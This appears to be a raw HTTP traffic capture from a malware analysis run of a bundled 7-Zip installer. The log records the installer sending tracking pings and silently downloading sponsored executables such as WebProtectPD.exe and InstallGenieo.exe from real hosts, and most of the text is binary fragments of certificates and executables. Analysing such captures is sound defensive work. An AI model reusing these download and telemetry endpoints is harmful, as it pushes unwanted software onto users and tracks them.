zona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc.100...U...'Go Dad
dy Root Validation Authority - G2..20150430072151Z0d0b0:0... .........
#o..K......#..... ...:....g(.....An ............20150430072151Z....201
50501192151Z0...*.H.............2..0.....M....1V.lm...S.../...4e..)..S
QB>.Y2..s.....Q9..j.<g...............@..........;....y....O.f...
..pj.U.7..J....3r_..;t...l.5.p......8u...<......uXXu..'.....$w%>
r.OU...d..9.....u...n>a%.{.X.._Qr.zQ......h.[%zy.%S.x.tY..Q.......K
...b....l...L}..u..........0...0...0..q..........t....o0...*.H........
0..1.0...U....US1.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDa
ddy.com, Inc.110/..U...(Go Daddy Root Certificate Authority - G20...15
0316070000Z..160316070000Z0..1.0...U....US1.0...U....Arizona1.0...U...
.Scottsdale1.0...U....GoDaddy.com, Inc.100...U...'Go Daddy Root Valida
tion Authority - G20.."0...*.H.............0.........xo(....QQ.`L.~...
&...a.F.=.....d=....."......?...\..........b.D....l=.HS.N......A..;...
.C)...(..T........XA-N....k1 .....ag...,4.L{.I..hEKb..K......!.(...7..
..p.O...X.._........8.B..k[4...........e.../....^.S..7A.b.oB..\......2
%.|c...A....Fk.T..24.0B...p.........0..0...U.......0.0...U...........0
...U.%..0... ......... .......0...U.......O........f...e..r..0... ....
[email protected]./hXXp://crl.godaddy.com/repository/gdroot-g2
.crl0J..U. .C0A0?..`.H...m....000... ........"hXXp://crl.godaddy.com/r
epository/0...*.H.............bW%D.2.X..U[0d..........|.BaG.Y.?.u.
<<< skipped >>>


GET /v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2253 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.83 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 30 Apr 20
15 09:23:51 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.83 ms","message":"store 2 ac
tion and 4 update "}..0..



GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=4&index_in_screen=1&index_in_session=4&0.19872140701700747 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.1.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:23:04 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:23:04 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&0.9427898179249654 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.2.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:23:04 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:23:04 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=36462-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 36460
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 36462-72921/72922
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)
X-Amz-Cf-Id: uaJ-aahN7TJZbsdmNlXZStpaR586RA6ss9T8Z4uDJZrTxaj4PLL7Jw==
......................................................................
.................................................................._...
..........................................V...........................
..................QS`.............%..............................RST..
........S;..............S.................QOTh.........P;??...........
...U...............QOK`.........P;?@@?..............S..............#J^
`........P;?@@@@?..............U............"IK`h........DdEBA@@@@=...
.........SU..........$.JLh........cgg..jEA>..<...........SO.....
......HK^h...............eE...............OU........%.FJ^h............
....j...............SI..........FJ]b................e...............SO
U......%..'M]b................e..............._OI......$.(*MXob.......
........................VP ........(3W\a..........hpppiffT............
..VPIU......)25[n.................................ZPI ......07km......
............................ZPI ......678.............................
......ZP......./6~..................................aZXJ........6~8...
........................a.ZaZaZXKJ........679m........................
.....Z_ZT_PI........075kmn........................._._VTTPPI........)-
.Yln..........................V_VPTPIG........& ,Nlo..................
.........._TPKI.. .....!/45km.................................SR.R....
.%1~...............................................{..................
............................%z.....................................}..
...................t...z.|z..t...............|.........yz......|..
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=63807-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 9115
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 63807-72921/72922
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: g6hkzi6Zdk9WYcXkocivAWu8MhSe2zm6xwmV06bfyrimPl4DVTtLsA==
.9)8..s..g..H{P8....7..................O.o{.....v/.w.......J..2B.2..s.
d;...3...d...c.....;....N.\(.]..O......wrH....)P......5...j<.-.x^..
.o8..^..N...._...$......n.3...8..`&,....l..#.D.....j.......k.]._..K...
..P.* W<,...s;I...c-..b.d.....naRX...L..J....8../.N.s9._.W.Ls.F-..H
...0.........:bpu..i.B.$... ..K.\O.v......Cr.e.!..J......t.JU._..">
&....1....7..).a......d.Ne..D..cw.v......k...n.Y..(&.BW..V.".#.2.. ...
..O...kf..Dg.:...z.o.,B.<4.<.E......*/..u.2...... T.. ?.."...`..
......A.......q.Dp.%.R....c......d4..L..p[.}..E.....[c.L..`k9f.....&ZZ
VR...p.X.3;..I.......<.......S..V....R....[....|...G..{.l.>/....
.k....._..........xfSp.".N..Lr.|[..D.~ot$H....c.....|.U..q;...}...a.f@
g.....h.Q.M.A7.U..G.N.C]..y...C..'}... .....<O. ..C.O..'.4.Rf..^.".
.M."..N.."I..rD[x&i%........&M....c...1.Q..........q.....&..[....H....
i..D......8...%...5:.Y....{..zP..&.k..1. rr...:..Y:.<H..6Kx....2^..
.................D...d.01......FEu.9..x..1....l].%....O.Z........?}"Y&
lt;.M...SY..0/M.l..E..d..!j..0UxY...;>c}.... .x91.-.XS2.)....K..K8.
UD.......... .c.....n(.^....R...e..Ef)3t\..|[email protected]\.Tp.P.J.8.S..X.
.A.Rn....i.. P.w^......7'..JP......8Q;=.}x~.'...x.......g..k.J.!bE....
..U X..z}(.~.....p...Q...y...(........Ox.%.|Q..h.Y...-...g..w.!.;..5..
..T.T.?..-......%^..r.<...?..n2 .K.q.TD....r...............1..(..`.
9.C..E&..725.\.......CR.5.....j1.t.(.z.'............r....q3..2AN.;bn..
.2Y.Vj.....>..J=iH........(.c.....{......*|s|[email protected]..
.5.../.I.........&.)t.... .(eNp$t.L%...(UZG.J"... Nk.L5(,yC.-{.m..
<<< skipped >>>


GET /install.ashx?e=WL9usJOVMsPXmto/P2xI1u cNvWTA7AjrP2/PvNLHquqT87ZizpXK0HDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PLiKIFo3W8f2dhK78JwZANhLABaclESgbf20oOr7zOHjllNfMLKuptyR2G31gFuf02hbuYqdnYR4elHMzi3I9ndbsUN4BYD1D8brniShQ3GQtRzip5AcKg4rWxcpBkHhSQ3kCpSb73om1nmEvUc rydewhrFWYF5Tv0qJ78sIh84amSSgMHjLmQAkaiKC91AannFaQMUFf3agVhnL6oJP/krWxcpBkHhSQ3kCpSb73om1nmEvUc ryfLtaw9zNAybItGWMfwQWPTSZrRYQUgrCCNPc8M0MF2aSGap/Piob7  3hNKfF7td/MHaFSDALbQEatJSUihoFKHreIpBjm0xixL/go ONuEXURH0CKlmst94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBxE2itOk8xksTQhEmdgakIJt6fkJEmbrLbA5wX5Xz49P3ZbbTbQM 8w== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wt94bf4ec-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Type: application/octet-stream
Content-Length: 2432
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected].^&.w...P...o.w...6!i|.".......-..D....V.|
..(g.......0...(....._.....c<"..D.......h..i<"..D...hnJ.....8/E.
.....9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S......{X.5
..#...t....... t.....44{Q.]~........X.....^.uf.na$..U..K....V.........
..*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..i0u[.f.I.
.Fy.Y......5....x!..."..fA..#.n.....M3.._. X?...u./...w.:.........<
.n\.<...P.....".......3..\P..-yX....T. .5..5.....c....m6....<..Q
.j.#.U0/.#...T.i.9(....%f.@..).....H..o3.V.]....X.$..F..c.X~...i...KS.
..5..#.....*.g......!...\...R.;.t..o.&N.(...f..[......T...Uh<.._U.c
/Y7.IU.....F..l.......1p.....E..>..T.....[..C.......<.8......1..
1...j...........c..7....e...|lB...k......H........v.c.]....^5..1.].qKV
...C. .d.......B..._...$.&>p.0...5.L..'5.....-14........*{8......5.
.#.... ..D<&..fl....'..y.Q..........(V.q.....k.C....0....:.6T~.C..0
.Q..7~I..8......([email protected].]..Vrp.....~%..p/.y/.R.Q..A.).`..`.r..
.......*[email protected]...&.....<.......ms3...X./....z.j..h..
3]o.x.{.."[email protected].. .\.~........f..%7"..Mb.eSG..Xo...
 O..."J.JF...|..y.....`...q..V.<...._....-g....!.ea.L..............
f..%7"[email protected]..&..Q.q]....F....p.^5~..B...Fy..\..ym...ID.....z...
8...y...a.s.....\..,I.9!..MT{.6.w.E..e.....-...7)c...........L_.IQ.bf@
%_z..z7'...D|rW45.m_,GY)...0...V.G........i....3..........G&6..0C.;AK.
4...&.xl..l.&J..m.......fm....P....h:k....m.K #...Pa......Z~..*}..
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=54692-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 18230
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 54692-72921/72922
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: fVIed4f3nb1oLomLtneypFJBS3s_tN-ZQu5mvBNkSd2FsbMOECINWA==
c...D..w=*>..P.g...l..6.I..O}4........%.!.h.dkz....G..w....,.,(g.t.
5!.(:..!<.n.......)...R.S..IFu..r$PoWIA.2....{..#.W...8`... ..u..*W
.....FL..*.'.....P.<.O.c.$.@6{..E.[[email protected]=o.........m.G.9...P./N
....C{.5...;.(....y.s....;Y.q..rgw9.L..[..X..L.( '".y*...#....FI/.....
.,...%.my$...K....[.R.]...2........p...=.[.d.$U!.Y.....L.I....k...../N
.EFS..]K.c.Q5.Wkp...;..)pvTBMl...)4.o^...C.XbtQ.v4....4........1.....k
4L.~mO...P|&.c.6.....q.I[..a..#..L=..e..:.|Iv........L.....5.5 cn2.}.Q
[email protected]..... ........3.M!.9.. .x.!..r....:...::.~=..4...E.>,......
...c...u....R8N..m.....;t..c......%..dN.%.X.S.G..r........5.1aIG@...\ 
{=.9,1^[email protected]... .]..O..q...H..h1.....[....#.r
.-. .A.8.u...Aq....x..Y.H.7G&G...V..h..&Q?.m.;.N...y.......f..X. .).e&
gt;..y..i...^.9|.H..T...u..*[email protected]..
...._.v.....3.....,....q=.........'*....8.&..J.UJ.....t..!........6K.F
..\.7.h...?.....n..>.[.)?H@ ........p.;..S.T.?..T......,.0...].....
X.}...v[..saQg.q.u...j.. ..t..Rb3...c.............Sf~..Q.%.Y...X.u7.."
l%.?%.9.4o.../f_W....#..R...Qp.c..........OG.*P.$.5..%[email protected]
...b........W......P.X.H\~.1.....2.tjEx...k...X.6.....b.D.W..9G;.(..xL
.x...I.S...CC..\.........l7^.a.^.z..c~e...........%...f.K.Kk'..O..T...
Y.r.i6zW.....S.EX..f./..x..P...........`......n...Q.He...oQ=...~,.....
#..zf].J....W...b.......=..6.d!....j...8.5..~...8.R.@{E1.9...s..40<
...N J.z.z.n-e?%.67..Ja.?.w*[email protected]....:.........7.
.SW..%..Uhe....r;5.F.F.....3.-...Ftf....E.....{.[[email protected]....
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.thawte.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1396
content-transfer-encoding: binary
Cache-Control: max-age=527857, public, no-transform, must-revalidate
Last-Modified: Wed, 29 Apr 2015 12:00:11 GMT
Expires: Wed, 6 May 2015 12:00:11 GMT
Date: Thu, 30 Apr 2015 09:26:48 GMT
Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0......Qw.}`[email protected]
9120011Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
.%Qq.........w.O.....20150429120011Z....20150506120011Z0...*.H........
.....kHK.....f.(..D.....6...^.2..-.mc.y.....\H./.....%...t./f.s.U.x.D.
..&.<...i\[email protected].^..N...t.4Z....^,H.......5..:........,.A...S.
.v]j../.Y].......0....b..,a...P....ND.}.......".bkK2..<Db~.E.y.....
.LUO.\...p./..i...#5.-.M.z..d=.CBP.t....u...:.<SN3..4..4.....0...0.
..0..y.......^..........N...)0...*.H........0J1.0...U....US1.0...U....
Thawte, Inc.1$0"..U....Thawte Code Signing CA - G20...150303000000Z..1
50601235959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Co
de Signing CA - G2 OCSP Responder0.."0...*.H.............0............
).Z.......O.~.l...,\.3.".'.'W .ih./..}OA...K...HJd....K^..<.....-.r
WJ.j.U.._......W.../.6....J.y.u-.\...2..U.52B.>...=F...RbR.y.zm....
...{b.bj....Y..J..m...*=.^......V.}p......rmA......9.L ...{?.g.-Y.....
.......8...k.$.:.5..6#4..F.#....t.B.8.O)'F.p).........d0b0...U....0.0.
..U.%..0... .......0...U........0... .....0......0"..U....0...0.1.0...
U....TGV-B-32450...*.H..............C.....8.Aw.{....`...y1N...W4M..M.J
.3~..7#}..X..:x..5....$...Z^%.?6..e...}I.)....... .A.w......_...B..j.T
..Yu.o.....g....H....q.Ju.SA`K.....~..O_.....S....I>..O.X..E.......
]...y..L..F....K......../...._XSk6.:a};.?`...:^.....p....4Z.3L;.......
t....>.....j....
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=694049-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



.LYA..\......]..>....u...p..tjX..._...^..=.....J@.&...a...v...]...Q
.l../..P.-f.B.B...G(f....X.SV..\<cO....'.Y..fk..(....J...mRZx....g.
p.6U0...l..O...{"a.......$.......J..h|...`......5.`......k..&u.B._...J
.."...Dp.`..]........QWfv.......0{~0..a../.1..>......m...CGm.|.a.&l
t;.5$-..V.O.A....o..;..J.}`^..5f.....8.....4....S..pN.Z5efO..x.*..R!JF
ch..\...5....\.':.......%q..i.....pb)K;:. %).......Ta..Czw.._~....#.x.
....5......t...=..8...K^..3..Q.q..".......n.B.~~..6D.G..Cq......P.o).*
4..r-;..2=..'.. z..5..S.I../0...../!?>a.7..S........A.1s..w.S...5..
|n.W.x....h....$q.q....u}.....P...xw.i.y..H..g..esKc.|..i .|..^......S
k....>d~..o%.5gov.... .x..`.kMb...>8`.G...p...=_`.....Z...1..4.-
Bd..3S...9..Jy#...o{{.N....;.........t....n.G..5....$....k.?..........
.:.75..'...Y........f...2...*...'.&............3O..%....U.A...~'(..f..
Wvz.......Z.......1$b...{.)[2|.....)=.*^..Jp.Nqn....C.'.....dW.@....#B
A.......E.Fd..%.4]-Y.....Io.C.(|l|..8j.. ..s....i1.Ui....... ...5.{.;~
k..]..^.n....<........6?.....VG*....y.....a'X)D..r9....C..|.h......
7cb.d..k....n.6!|.g.).%..K<j].......c [email protected].. d.
.;..z..o..k.....p........x....U....1|...............!..u!*lX.....$..1.
.h,E.t@%jO...E....ZcH.*...i../.b.....{`........xPNBXP.-......H|..Kk...
Z...M.i6m.....3 F\=.;....Ep.v..}>.aQ;.....^_6.......\..r&H....|yr..
...@!...Ykw..QW{d.(u".$.........!J....4..C..[.]:.G.....Ea_H...yly.cs!^
..0./..............{..........>.......~.6...%..;...o....q.u.9...wC.
..k...........D......i..|.........%.B....- ].b!...\.Y.....<d,G.
<<< skipped >>>


GET / HTTP/1.1
Host: ipgeoapi.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:25 GMT
Connection: keep-alive
Content-Type: application/json;charset=utf-8
Content-Length: 40
Server: thin 1.4.1 codename Chromeo
Via: 1.1 vegur
{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Thu, 30
 Apr 2015 09:25:25 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..



GET /pin.gif?e=start&s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&adv=&v=5.1.0.45 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:44 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:24:44 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....


GET /pin.gif?e=installer&s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&adv=&v=5.1.0.45 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:50 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:24:50 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..



GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=370653-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: pNXpow3XiF91x1ffTHhbjH4UEEePtd9OSXYO35570zL0cFPAVeKcJ4GBFwA5LnjyUFicUzXCYEg=
x-amz-request-id: D5F6CB8E03E0953B
Date: Thu, 30 Apr 2015 09:27:21 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 370653-988407/988408
Content-Type: application/octet-stream
Content-Length: 617755
Server: AmazonS3
.......F....T2Y..B..U7...r....yR.5e..v.l.....a:{r.Ju.$..F}R..7Ul.4...N
i]H"x.O.....7..<...._*.;.....}U.).@k?jCE.4C.6|..{E.......1..t.^.<
;..F..z..>[email protected]&.e.......7u.(.q.1....=jm...e....- .......S>.
E.:.Qk..../l..n.J....R..^s... Q72.....Z.....X..IK.D}.. ..1?r~.. ..O..y
...y.7..\.h.Q..w..E...I-._....[.....K.jG.....q.5.*?...R\.f....u..P.?.i
.>l.9`..g..Q...p.f....k.m)...dK..N..).P.............w....!.......e.
.`.:...n..Bp2.jr...td.....~....wi-.P..?j8.j,.....].....K.<H...n....
.2.?".?.....4...QR...<R......c.\....._.%..v.dg.N. ...e.Xe.,&7,MY...
:,e.Z...,% .\.hK.....Y....^T. . ....<.A4.....6.(._x>........V...
...Sx.M.b)5)....Q.....V(..,..<t2.v.b..H.C...K......f];...a.R..14...
#Y..u.Aj....8<...... (.....l.DsaM#..$[_.IM|.WK.[%..[u?~...4.n.%..a.
...."...h/..i...`M.../...............X.\F.q.......;#....f....x.h."....
m..3nK.Jp(k..8.1.../.r.|...(.....#.,.....&%0.y..,......)..5.~.,...V...
;d.Vu...H.4G.#l....gL.j...y..?o...>I..)...g...H.!.;}/.Z..5.j...5...
..uR.......PM{....=...O..hDI...=H.6.PL..a6.!uz(.A........T.w...../..X.
.`\.x.7.'........>[email protected]
.@.^r#U.F...qv..D...j..%....8......r.%...K.....v$...i.t.....c.E......o
1e.Z>."..._4.UM$Keg..D...F...:.-1.ak.........-..|Y..A.#].g3...7..4.
.....Z..-.Q..yS._.uL.nK.e.M..Y"...p0OX...s2$w1....y.....06.)...(..C...
\.gX..>.h&..-.q&1....C..lI..>.W..T.J..MS..l.u.m81.R2..03R..3.<
;.....=X.........m.$wNp(3....D2.5.i..D4E.G..Z..?....eO.R.e......(l.Y..
. .....PE..!.|[email protected]..[XY.dz.;.u....U..r.... a
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=392442-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache



....,..)..\.?..... .r...IW.0..HQ4?....K;Di.|...2.....[h.#]...*.......M
.&.....C.;..u....N..Y.SV.....0.(...1KBA70..T...FyP....L.UiO?.,H^.c....
E1....a.Z....v$.75.(..(..F...............,wlB[.~...S.?{<./5.i..;...
..T.W..F....|5u.%{.I#7r..Y)F..L.wW.....DQ.X0X..........,..v.....]..[j.
.....S.5..."...V"^..9......&.9..\........{..!0.Z.(Yqfx.....%..T...I^.M
<...P.. ^..q. -s..(..m.........ss............o......)z...rR3.t..QG 
.T.A...AjK......9...Ca.Ej.L...BB.gK.a..2........)T.............((..A..
...&.H5........y> ..v..G......S...H.i..0........4x1.G......e.s...=8
....*.a.FS(.../..Y..C..q#.cE.;.F......S..OJT.z.....xYBXs}....`_..8..I.
. WYtA 3......UTd...(.(...>`.....9..`rT\. \N......M...f...F.B..0..@
.......|.~difk.&>u...=.x.d..T.D\e....~A,...?.T..le....vo..IK.C....#
.[.PQ...A.WDd.i3.......e....k......B.e.....^>....&...!.KQ.x...<[
5.....#S.....1..)....=l.....Dr.,...jv=.P..__...X...}.m.........P......
.ix....v}.....<|.8..e,.......B7. t.^...6[.j".....M.-*7$....i..d\.{.
x..>.*.w.9P.6e... ..f..O(....TQR.6'#..a.L..5.....u...Z#.m..)..!.iT.
...s.>{...<BD^.....]qDz&.9..I....:.......OZ&.2=.xA.3...l......H.
x..\...d%...v.j... ...!..)..G....ud...V..#..[..s....=...X.....R......d
..a..6`.}.Y~..M....|..ht.].xB.....j.s...%......t..:.....|v........U.&g
t;.....]P....Rq0 ...H...@P4.(.$.........?...>....qX~....g2.8...4.v.
W5...j.g.3.!5.9..;....8nN...p...........}..h...2...>.nObTfc.p...jQ.
.s.{.V....}...D.k^.,].&..5....9.$.....p56..q. ..'.......O~=...W_|.q?..
......I..IpUn..z..-.c!.%.Q=..YrR......sDy....V...0.....9..ZR.5...k
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=416430-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:23:53 GMT
Content-Type: application/octet-stream
Content-Length: 694046
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
